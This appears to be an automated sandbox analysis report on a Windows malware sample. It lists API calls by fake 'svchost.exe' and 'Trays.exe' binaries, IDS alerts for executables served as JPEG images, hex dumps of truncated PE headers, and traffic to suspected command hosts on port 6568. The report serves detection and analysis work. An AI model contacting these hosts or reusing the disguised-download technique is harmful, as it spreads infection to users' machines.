Source: C:\Intel\Trays\Trays.exe	Code function: 59_2_0040DB44 FindFirstFileA,	59_2_0040DB44
Source: C:\Intel\Trays\Trays.exe	Code function: 59_2_0040DDDC FindFirstFileA,	59_2_0040DDDC
Source: C:\Intel\svchost.exe	Code function: 60_2_021D4400 GetModuleHandleA,GetProcAddress,lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,	60_2_021D4400
Source: C:\Intel\svchost.exe	Code function: 62_2_021D4400 GetModuleHandleA,GetProcAddress,lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,	62_2_021D4400
Source: C:\Intel\svchost.exe	Code function: 63_2_021D4400 GetModuleHandleA,GetProcAddress,lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,	63_2_021D4400

Source: C:\Intel\Trays\Trays.exe

Code function: 59_2_00407D0E GetLogicalDriveStringsA,

59_2_00407D0E

Source: C:\Intel\Trays\4t-min64.exe

Code function: 4x nop then inc dword ptr [rbp-28h]

61_2_00418560

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2025161 - Severity 1 - ET MALWARE Windows executable sent when remote host claims to send an image M4 : 185.125.51.5:80 -> 192.168.2.7:49745
Source: Network traffic	Suricata IDS: 2025169 - Severity 1 - ET MALWARE Windows Executable Downloaded With Image Content-Type Header : 185.125.51.5:80 -> 192.168.2.7:49745

System process connects to network (likely due to code injection or exploit)

Source: C:\Intel\svchost.exe

Network Connect: 92.223.88.41 80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http	Image file has PE prefix: HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:53:37 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade Last-Modified: Sun, 01 Dec 2024 09:23:13 GMT ETag: "49400-62831fb300240" Accept-Ranges: bytes Content-Length: 300032 Content-Type: image/jpeg Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 ed bf cf 48 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 05 00 00 30 04 00 00 b8 00 00 00 00 00 00 00 10 00 00 00 10 00 00 00 40 04 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 b0 05 00 00 06 00 00 00 00 00 00 03 00 00 00 00 00 10 00 00 20 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 90 05 00 67 00 00 00 00 80 05 00 8d 0d 00 00 00 a0 05 00 f8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 05 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 00 30 04 00 00 10 00 00 00 26 04 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 00 20 01 00 00 40 04 00 00 46 00 00 00 2c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 00 10 00 00 00 60 05 00 00 02 00 00 00 72 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 64 61 74 61 00 00 00 10 00 00 00 70 05 00 00 02 00 00 00 74 04 00 00 00 00 00 00 00 00 00 00 00 0
Source: http	Image file has PE prefix: HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:53:39 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade Last-Modified: Sun, 01 Dec 2024 09:23:13 GMT ETag: "3c000-62831fb300240" Accept-Ranges: bytes Content-Length: 245760 Content-Type: image/jpeg Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 b6 5c 29 cb f2 3d 47 98 f2 3d 47 98 f2 3d 47 98 f2 3d 46 98 8e 3d 47 98 90 22 54 98 f5 3d 47 98 71 21 49 98 eb 3d 47 98 1a 22 4d 98 71 3d 47 98 1a 22 4c 98 d2 3d 47 98 4a 3b 41 98 f3 3d 47 98 52 69 63 68 f2 3d 47 98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 2c 76 04 62 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 60 02 00 00 80 01 00 00 00 00 00 a4 c3 01 00 00 10 00 00 00 70 02 00 00 00 40 00 00 10 00 00 00 10 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 f0 03 00 00 10 00 00 00 00 00 00 03 00 00 00 00 90 01 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e0 71 03 00 50 00 00 00 00 e0 03 00 98 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 02 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 3a 59 02 00 00 10 00 00 00 60 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c8 0a 01 00 00 70 02 00 00 10 01 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 18 5b 00 00 00 80 03 00 00 30 00 00 00 80 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 98 04 00 00 00 e0 03 00 00 10 00 00 00 b0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: http	Image file has PE prefix: HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:53:40 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade Last-Modified: Sun, 01 Dec 2024 09:23:14 GMT ETag: "515a00-62831fb3f4480" Accept-Ranges: bytes Content-Length: 5331456 Content-Type: image/jpeg Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 e9 1c e7 68 ad 7d 89 3b ad 7d 89 3b ad 7d 89 3b c2 0b 22 3b a5 7d 89 3b c2 0b 23 3b ae 7d 89 3b b6 e0 13 3b ac 7d 89 3b c2 0b 14 3b ac 7d 89 3b 52 69 63 68 ad 7d 89 3b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 e2 58 c7 66 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0a 00 00 2a 00 00 00 30 51 00 00 54 25 01 e5 1c 00 00 00 10 00 00 00 40 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 76 01 00 04 00 00 cd bd 51 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 76 01 8c 00 00 00 00 a0 25 01 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 77 28 00 00 00 10 00 00 00 2a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 69 74 65 78 74 00 00 00 54 25 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 64 61 74 61 00 00 fa 02 00 00 00 a0 25 01 00 04 00 00 00 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 dc 26 51 00 00 b0 25 01 00 24 51 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 00 03 00 00 00 e0 76 01 00 04 00 00 00 56 51 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: http	Image file has PE prefix: HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:53:48 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade Last-Modified: Sun, 01 Dec 2024 14:22:40 GMT ETag: "cb190-628362a1aac00" Accept-Ranges: bytes Content-Length: 831888 Content-Type: image/jpeg Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 2d 82 c1 ed 69 e3 af be 69 e3 af be 69 e3 af be d4 ac 39 be 6b e3 af be 60 9b 3a be 77 e3 af be 60 9b 2c be db e3 af be 60 9b 2b be 50 e3 af be 4e 25 c2 be 63 e3 af be 4e 25 d4 be 48 e3 af be 69 e3 ae be 64 e1 af be 60 9b 20 be 2f e3 af be 77 b1 3a be 6b e3 af be 77 b1 3b be 68 e3 af be 69 e3 38 be 68 e3 af be 60 9b 3e be 68 e3 af be 52 69 63 68 69 e3 af be 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 15 16 c8 4b 00 00 00 00 00 00 00 00 e0 00 23 01 0b 01 09 00 00 02 08 00 00 fa 02 00 00 00 00 00 10 63 01 00 00 10 00 00 00 20 08 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 70 0c 00 00 04 00 00 7c 20 0d 00 02 00 00 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3c cd 08 00 54 01 00 00 00 b0 0a 00 1c b6 01 00 00 00 00 00 00 00 00 00 f8 a1 0c 00 98 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 08 00 40 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 17 00 08 00 00 10 00 00 00 02 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 5c d9 00 00 00 20 08 00 00 da 00 00 00 06 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 18 a5 01 00 00 00 09 00 00 68 00 00 00 e0 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 1c b6 01 00 00 b0 0a 00 00 b8 01 00 00 48 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\PING.EXE ping -n 6 127.0.0.1

Source: global traffic	TCP traffic: 192.168.2.7:49921 -> 92.223.88.41:6568
Source: global traffic	TCP traffic: 192.168.2.7:49980 -> 57.129.19.1:6568

Source: global traffic

TCP traffic: 192.168.2.7:55517 -> 1.1.1.1:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 08 Jan 2025 14:53:37 GMTServer: Apache/2Upgrade: h2,h2cConnection: UpgradeLast-Modified: Sun, 01 Dec 2024 09:23:13 GMTETag: "49400-62831fb300240"Accept-Ranges: bytesContent-Length: 300032Content-Type: image/jpegData Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 ed bf cf 48 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 05 00 00 30 04 00 00 b8 00 00 00 00 00 00 00 10 00 00 00 10 00 00 00 40 04 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 b0 05 00 00 06 00 00 00 00 00 00 03 00 00 00 00 00 10 00 00 20 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 90 05 00 67 00 00 00 00 80 05 00 8d 0d 00 00 00 a0 05 00 f8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 05 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 00 30 04 00 00 10 00 00 00 26 04 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 00 20 01 00 00 40 04 00 00 46 00 00 00 2c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 00 10 00 00 00 60 05 00 00 02 00 00 00 72 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 64 61 74 61 00 00 00 10 00 00 00 70 05 00 00 02 00 00 00 74 04 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 08 Jan 2025 14:53:39 GMTServer: Apache/2Upgrade: h2,h2cConnection: UpgradeLast-Modified: Sun, 01 Dec 2024 09:23:13 GMTETag: "3c000-62831fb300240"Accept-Ranges: bytesContent-Length: 245760Content-Type: image/jpegData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 b6 5c 29 cb f2 3d 47 98 f2 3d 47 98 f2 3d 47 98 f2 3d 46 98 8e 3d 47 98 90 22 54 98 f5 3d 47 98 71 21 49 98 eb 3d 47 98 1a 22 4d 98 71 3d 47 98 1a 22 4c 98 d2 3d 47 98 4a 3b 41 98 f3 3d 47 98 52 69 63 68 f2 3d 47 98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 2c 76 04 62 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 60 02 00 00 80 01 00 00 00 00 00 a4 c3 01 00 00 10 00 00 00 70 02 00 00 00 40 00 00 10 00 00 00 10 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 f0 03 00 00 10 00 00 00 00 00 00 03 00 00 00 00 90 01 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e0 71 03 00 50 00 00 00 00 e0 03 00 98 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 02 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 3a 59 02 00 00 10 00 00 00 60 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c8 0a 01 00 00 70 02 00 00 10 01 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 18 5b 00 00 00 80 03 00 00 30 00 00 00 80 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 98 04 00 00 00 e0 03 00 00 10 00 00 00 b0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 08 Jan 2025 14:53:40 GMTServer: Apache/2Upgrade: h2,h2cConnection: UpgradeLast-Modified: Sun, 01 Dec 2024 09:23:14 GMTETag: "515a00-62831fb3f4480"Accept-Ranges: bytesContent-Length: 5331456Content-Type: image/jpegData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 e9 1c e7 68 ad 7d 89 3b ad 7d 89 3b ad 7d 89 3b c2 0b 22 3b a5 7d 89 3b c2 0b 23 3b ae 7d 89 3b b6 e0 13 3b ac 7d 89 3b c2 0b 14 3b ac 7d 89 3b 52 69 63 68 ad 7d 89 3b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 e2 58 c7 66 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0a 00 00 2a 00 00 00 30 51 00 00 54 25 01 e5 1c 00 00 00 10 00 00 00 40 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 76 01 00 04 00 00 cd bd 51 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 76 01 8c 00 00 00 00 a0 25 01 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 77 28 00 00 00 10 00 00 00 2a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 69 74 65 78 74 00 00 00 54 25 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 64 61 74 61 00 00 fa 02 00 00 00 a0 25 01 00 04 00 00 00 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 dc 26 51 00 00 b0 25 01 00 24 51 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 00 03 00 00 00 e0 76 01 00 04 00 00 00 56 51 00 00 00 00 00 00 00 00 